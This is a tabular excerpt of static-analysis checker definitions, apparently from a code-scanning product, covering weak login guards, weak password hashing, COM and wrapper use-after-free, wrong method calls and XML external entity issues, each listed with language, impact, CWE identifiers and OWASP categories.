| WEAK_GUARD | Comparison of OS login to a constant | Low impact security | Objective-C/C++ | An attacker running this program on a machine they administer can bypass this check by creating a suitably named account | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of OS login to a constant | High impact security | C/C++ | An attacker running this program on a machine they administer can bypass this check by creating a suitably named account | High | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of OS login to a constant | High impact security | Java | An attacker running this program on a machine they administer can bypass this check by creating a suitably named account | High | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of OS login to a constant | High impact security | Objective-C/C++ | An attacker running this program on a machine they administer can bypass this check by creating a suitably named account | High | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of principal name to a constant | Low impact security | C/C++ | An attacker can bypass this check by creating a suitably named account. | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of principal name to a constant | Low impact security | Java | An attacker can bypass this check by creating a suitably named account. | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of principal name to a constant | Low impact security | Objective-C/C++ | An attacker can bypass this check by creating a suitably named account. | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of principal name to a constant | High impact security | C/C++ | An attacker can bypass this check by creating a suitably named account. | High | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of principal name to a constant | High impact security | Java | An attacker can bypass this check by creating a suitably named account. | High | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of principal name to a constant | High impact security | Objective-C/C++ | An attacker can bypass this check by creating a suitably named account. | High | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | C/C++ | An attacker may recover passwords with feasible amounts of computational effort. | High | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | C# | An attacker may recover passwords with feasible amounts of computational effort. | High | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | Java | An attacker may recover passwords with feasible amounts of computational effort. | High | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | Objective-C/C++ | An attacker may recover passwords with feasible amounts of computational effort. | High | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | Visual Basic | An attacker may recover passwords with feasible amounts of computational effort. | High | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak hash function | Medium impact security | C/C++ | An attacker may recover individual passwords hashed this way with modest computational effort. | Medium | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak hash function | Medium impact security | C# | An attacker may recover individual passwords hashed this way with modest computational effort. | Medium | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak hash function | Medium impact security | Java | An attacker may recover individual passwords hashed this way with modest computational effort. | Medium | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak hash function | Medium impact security | Objective-C/C++ | An attacker may recover individual passwords hashed this way with modest computational effort. | Medium | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak hash function | Medium impact security | Visual Basic | An attacker may recover individual passwords hashed this way with modest computational effort. | Medium | Security | 916 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Very weak password hashing | High impact security | C/C++ | An attacker may recover a large number of passwords hashed this way with modest computational effort. | High | Security | 759 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Very weak password hashing | High impact security | C# | An attacker may recover a large number of passwords hashed this way with modest computational effort. | High | Security | 759 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Very weak password hashing | High impact security | Java | An attacker may recover a large number of passwords hashed this way with modest computational effort. | High | Security | 759 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Very weak password hashing | High impact security | Objective-C/C++ | An attacker may recover a large number of passwords hashed this way with modest computational effort. | High | Security | 759 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Very weak password hashing | High impact security | Visual Basic | An attacker may recover a large number of passwords hashed this way with modest computational effort. | High | Security | 759 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | C/C++ | An attacker may recover a large number of passwords hashed this way with modest computational effort or pre-computed values. | High | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | C# | An attacker may recover a large number of passwords hashed this way with modest computational effort or pre-computed values. | High | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | Java | An attacker may recover a large number of passwords hashed this way with modest computational effort or pre-computed values. | High | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | Objective-C/C++ | An attacker may recover a large number of passwords hashed this way with modest computational effort or pre-computed values. | High | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Weak password hashing | High impact security | Visual Basic | An attacker may recover a large number of passwords hashed this way with modest computational effort or pre-computed values. | High | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak salt | Low impact security | C/C++ | An attacker may recover individual passwords hashed this way with modest computational effort. | Low | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak salt | Low impact security | C# | An attacker may recover individual passwords hashed this way with modest computational effort. | Low | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak salt | Low impact security | Java | An attacker may recover individual passwords hashed this way with modest computational effort. | Low | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak salt | Low impact security | Objective-C/C++ | An attacker may recover individual passwords hashed this way with modest computational effort. | Low | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WEAK_PASSWORD_HASH | Hashing a password with a weak salt | Low impact security | Visual Basic | An attacker may recover individual passwords hashed this way with modest computational effort. | Low | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| WRAPPER_ESCAPE | Freed COM internal read | Memory - illegal accesses | C/C++ | Reading from freed memory can cause wrong values to be read and crashes due to illegal memory accesses. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed COM internal read | Memory - illegal accesses | Objective-C/C++ | Reading from freed memory can cause wrong values to be read and crashes due to illegal memory accesses. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed COM internal write | Memory - corruptions | C/C++ | Writing to freed memory can cause memory corruption and crashes. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed COM internal write | Memory - corruptions | Objective-C/C++ | Writing to freed memory can cause memory corruption and crashes. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | COM object use after free | Memory - illegal accesses | C/C++ | A use after free bug would occur if the internal pointer is used. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | COM object use after free | Memory - illegal accesses | Objective-C/C++ | A use after free bug would occur if the internal pointer is used. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed internal location read | Memory - illegal accesses | C/C++ | Reading from freed memory can cause wrong values to be read and crashes due to illegal memory accesses. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed internal location read | Memory - illegal accesses | Objective-C/C++ | Reading from freed memory can cause wrong values to be read and crashes due to illegal memory accesses. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed internal location write | Memory - corruptions | C/C++ | Writing to freed memory can cause memory corruption and crashes. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Freed internal location write | Memory - corruptions | Objective-C/C++ | Writing to freed memory can cause memory corruption and crashes. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Wrapper object use after free | Memory - illegal accesses | C/C++ | A use after free bug would occur if the internal pointer is used. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRAPPER_ESCAPE | Wrapper object use after free | Memory - illegal accesses | Objective-C/C++ | A use after free bug would occur if the internal pointer is used. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| WRONG_METHOD | Wrong method called | API usage errors | Java | The function call will not have its intended effect. | Medium | Quality | None | |||
| XML_EXTERNAL_ENTITY | Unrestricted entity expansion | Medium impact security | C# | Processing an arbitrary DTD without limiting entity expansion may result in parsing a large number of entities, causing denial of service. | Medium | Security | 776 | 17, 18, 361, 398, 399, 405, 409, 438, 442, 635, 664, 674, 691, 699, 700, 710, 711, 730, 776, 834, 844, 845, 855, 857, 884, 888, 892, 907, 977, 978, 984, 985, 1000, 1003, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted entity expansion | Medium impact security | Java | Processing an arbitrary DTD without limiting entity expansion may result in parsing a large number of entities, causing denial of service. | Medium | Security | 776 | 17, 18, 361, 398, 399, 405, 409, 438, 442, 635, 664, 674, 691, 699, 700, 710, 711, 730, 776, 834, 844, 845, 855, 857, 884, 888, 892, 907, 977, 978, 984, 985, 1000, 1003, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted entity expansion | Medium impact security | JavaScript | Processing an arbitrary DTD without limiting entity expansion may result in parsing a large number of entities, causing denial of service. | Medium | Security | 776 | 17, 18, 361, 398, 399, 405, 409, 438, 442, 635, 664, 674, 691, 699, 700, 710, 711, 730, 776, 834, 844, 845, 855, 857, 884, 888, 892, 907, 977, 978, 984, 985, 1000, 1003, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted entity expansion | Medium impact security | Visual Basic | Processing an arbitrary DTD without limiting entity expansion may result in parsing a large number of entities, causing denial of service. | Medium | Security | 776 | 17, 18, 361, 398, 399, 405, 409, 438, 442, 635, 664, 674, 691, 699, 700, 710, 711, 730, 776, 834, 844, 845, 855, 857, 884, 888, 892, 907, 977, 978, 984, 985, 1000, 1003, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted external entity references | Medium impact security | C# | Resolving arbitrary external entities may result in exposing sensitive data or in making unwanted server requests. | Medium | Security | 611 | 17, 18, 254, 264, 265, 361, 442, 610, 611, 635, 664, 699, 700, 888, 892, 893, 896, 980, 984, 990, 1000, 1003, 1008, 1015, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted external entity references | Medium impact security | Java | Resolving arbitrary external entities may result in exposing sensitive data or in making unwanted server requests. | Medium | Security | 611 | 17, 18, 254, 264, 265, 361, 442, 610, 611, 635, 664, 699, 700, 888, 892, 893, 896, 980, 984, 990, 1000, 1003, 1008, 1015, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted external entity references | Medium impact security | PHP | Resolving arbitrary external entities may result in exposing sensitive data or in making unwanted server requests. | Medium | Security | 611 | 17, 18, 254, 264, 265, 361, 442, 610, 611, 635, 664, 699, 700, 888, 892, 893, 896, 980, 984, 990, 1000, 1003, 1008, 1015, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted external entity references | Medium impact security | Python | Resolving arbitrary external entities may result in exposing sensitive data or in making unwanted server requests. | Medium | Security | 611 | 17, 18, 254, 264, 265, 361, 442, 610, 611, 635, 664, 699, 700, 888, 892, 893, 896, 980, 984, 990, 1000, 1003, 1008, 1015, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted external entity references | Medium impact security | Visual Basic | Resolving arbitrary external entities may result in exposing sensitive data or in making unwanted server requests. | Medium | Security | 611 | 17, 18, 254, 264, 265, 361, 442, 610, 611, 635, 664, 699, 700, 888, 892, 893, 896, 980, 984, 990, 1000, 1003, 1008, 1015, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted document type definitions | Medium impact security | C# | An attacker-controlled DTD can be used to specify an external URL, making the impact of processing the DTD analogous to a server-side request forgery. Processing an arbitrary DTD may also result in parsing a large number of entities, causing denial of service. | Medium | Security | 827 | 17, 18, 254, 264, 265, 361, 398, 399, 405, 409, 438, 442, 610, 611, 635, 664, 669, 674, 691, 699, 700, 706, 710, 711, 730, 776, 809, 813, 827, 829, 834, 844, 845, 855, 857, 864, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 977, 978, 980, 981, 984, 985, 990, 1000, 1003, 1008, 1011, 1015, 1016, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
